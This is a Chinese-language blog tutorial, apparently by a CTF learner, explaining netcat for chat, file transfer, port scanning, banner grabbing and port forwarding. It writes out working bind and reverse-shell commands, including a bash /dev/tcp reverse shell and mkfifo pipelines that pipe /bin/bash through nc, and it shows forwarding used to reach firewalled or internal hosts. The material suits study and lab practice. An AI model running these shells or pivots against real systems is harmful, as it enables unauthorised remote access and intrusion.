Netcat

此次比赛中见到了有关内网渗透的题目,此前从未接触,故来了解一下被称为网络工具中的瑞士军刀的工具netcat,简称nc,顺便了解一下之前很陌生的反弹shell、端口扫描、端口转发等概念。

本篇文章将简单介绍一下netcat的基本功能,以及如何用其实现端口扫描,banner信息搜集以及端口转发

nc工具是linux系统自身默认安装的工具,但是windows系统没有自带,需要手动下载

实现文本传输功能

nc可以建立两个设备间的连接,用于文本传输,也可称为聊天功能

我使用我的一个云服务器作为服务器端:

1
nc -lp 444

-l:启用监听模式

-p:设置本地主机使用的通讯端口

然后使用虚拟机作为客户端:

1
nc 121.89.197.206 444

即 nc+ip+端口

这样就可以建立一个用于文本传输的连接,这样,当任何一端进行输入时,另一端都会对应回显输入信息,从而实现文本传输功能

但请注意,这种方式建立的连接仅能传输文本,无法实现远程命令执行。

可使用Ctrl+c中断连接

实现远程命令执行

nc除了简单的文本传输外,还提供了远程执行命令功能也就是获取目标的shell,接下来介绍两种用nc获得shell的方式

正向shell

(服务端给客户端命令执行权限,此时服务端为被攻击端)

服务端

1
nc -lp 444 -e /bin/bash

-e:一旦连接就重定向到该程序

这里我们重定向到bash(linux的命令行)

客户端

1
nc 121.89.197.206 444

和文本传输的一样,正常连接

此时,客户端输入命令可直接执行,并返回执行结果

这里或许有人会问,我既然能让服务端执行nc命令,说明我已经有了远程执行服务端命令的权限,为什么还需要用nc获取?

我是这样理解的,真实攻击情况下,获取到对方的命令执行权限时,可能存在着许多限制,比如命令长短限制,各种waf,回显获取不便等情况,但是利用nc直接获取shell,即可绕过这些限制,从而更好的利用shell

注意:unbuntu默认安装的nc是openbsd版的nc,无法使用-e来返回shell,可使用以下方法来将其改为传统nc

1
2
3
apt update
apt -y install netcat-traditional
update-alternatives --config nc

然后根据提示选择traditional的nc即可

反向shell

(客户端给服务器端命令执行权限,也称为反弹shell,此时客户端为被攻击端)

服务端

1
nc -lp 444

客户端

1
nc 目标ip 目标端口 -e /bin/bash

然后服务器端就能获得客户端的shell了

若客户端没有安装nc,则使用以下命令代替

1
bash -i >& /dev/tcp/服务端ip/服务端监听的端口 0>&1

比如这里为

1
bash -i >& /dev/tcp/192.168.0.1/444 0>&1

此时,服务端可实现远程命令执行

不支持-e选项实现远程命令执行

正向shell

很多情况下,目标服务器安装的不是传统的nc或者因某些原因无法支持-e选项,则可以通过以下方法来获取shell

1
2
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

然后在客户端使用

1
nc 目标ip 目标端口

即可连接成功,并且返回目标的shell

说明:

1.此处fifo文件将nc与bash连接在一起,即nc输出的数据作为参数输入到bash中,进行命令执行

若不了解mkfifo命令,可参考

1
https://www.cnblogs.com/fanweisheng/p/11089439.html

2.cat /tmp/fifo是获取fifo中的内容,然后传递给bash进行执行

3.2>&1的意义可参考

1
https://blog.csdn.net/astonqa/article/details/8252791

4.将bash执行结果输入到nc输入中,从而可以传至客户端。

5.在客户端输入的命令数据通过服务端的nc输出重定向到fifo中,在服务端形成一个循环。

反向shell

服务端输入

1
nc -lp 8001

客户端输入

1
2
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc 服务端ip 端口 > /tmp/fifo

实现文件传输

服务端传输给客户端

1
nc -lp 端口 <传输的文件名

比如这里创建一个flag文件,然后进行传输

1
nc -lp 444 <flag

客户端

1
nc ip 端口 >用于接收文件内容的文件名

此处使用

1
nc 121.89.197.206 444 >getflag

(接收文件无需事先创建)

image-20200504165351311

像这样我们成功获得了服务器端的flag文件

客户端传输给服务器端

服务端

1
nc -lp 端口 >用于接收的文件名

此处文件同样无需事先创建

客户端

1
nc ip 端口 <传输的文件名

原理相似,这里就不重复演示了

端口扫描

1
nc -v -n -z -w1 目标ip 端口范围(用-连接)

-v:输出详细信息(-vv是更详细)

-n:不对目标机器进行dns解析

-z :zero I/O模式,专门用于端口扫描,表示对目标发送的数据表中不包含任何payload,这样可以提高扫描效率

-w :设置超时时间

这里可以看到,目标服务器开放了8080端口

如果只想看到开发的端口有哪些,不使用-v即可

获取banner信息

banner 信息来表示欢迎语,其中会包含一些敏感信息,在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。

banner 信息获取的基础是在和目标建立链接后的,只有建立的链接,才可以获取到相应的 banner 信息,当目标对 banner 信息进行隐藏或者配置了禁止读取时,这时的 banner 则获取不到。

1
echo " " | nc -v -n -w1 ip 端口范围(用-连接)

命令参数介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-d :脱离命令窗口运行,常用于后门的建立
-e :连接建立后,立即执行某个程序,常用于后门建立
-G :设置网关,常用于突破内网限制
-g :路由跳数
-i :设置发送每一行数据的时间间隔
-l :设置nc处于监听状态等待连接
-L :设置nc处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-n :设置nc只识别ip地址,不进行dns解析
-o :设置传输十六进制的数据
-p :设置本地监听的端口号,常用于服务端建立
-r :设置nc随机化的端口号
-s :用于设置nc的源地址
-t :恢复telnet的请求数据包
-u :设置nc使用UDP模式(nc默认使用TCP),若服务器过滤了TCP协议,则可以通过UDP模式尝试连接,以绕过限制
-v :显示错误提示信息
-w :设置连接超时秒数
-z :设置扫描模式,表示发送的数据包中不包含任何payload,来加快发送速度

连接转发(端口转发)

为什么需要端口转发呢?因为防火墙,或者外网访问内网的原因。比如防火墙不允许访问本机的3389端口怎么办,或者外网要想访问一台内网机器怎么办。这时端口转发可以很好的解决这些问题。

背景1:

A可以连接B的80端口,但是因为防火墙的阻拦无法直接访问B的3306端口,此时可以使用80端口进行转发,将A发送给B的数据转发给3306端口从而实现间接连接

具体操作:

1.在B上开启3306端口

1
nc -lp 3306

2.在B上实现端口转发

1
2
mkfifo /tmp/fifo
cat /tmp/fifo | nc localhost 3306 | nc -lp 80 > /tmp/fifo

3.在A上连接B

1
nc -n 192.168.0.2 80

至此完成

背景2:

A想要访问C,但是c没有连接外网,但是与B有内网连接,而A与B间有外网连接,所以我们可以先抓取B,然后将我们(A)发送给B的数据转发给C从而与C建立间接连接

具体操作:

(以下统一使用80端口)

1.B转发C

1
2
mkfifo /tmp/fifo
cat /tmp/fifo | nc 192.168.0.3 80 | nc -lp 80 > /tmp/fifo

2.A连接B

1
nc 192.168.0.1 80

至此完成

避免nc假死

通过设置等待时间来避免

-w:等待时间,如

1
nc -w3 [ip] [port]

这样若是3秒内无法成功建立连接,则会停止程序

(但是我自己测试时,就算没有-w3,好像也不会假死 =。= 放着备用吧,,,)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!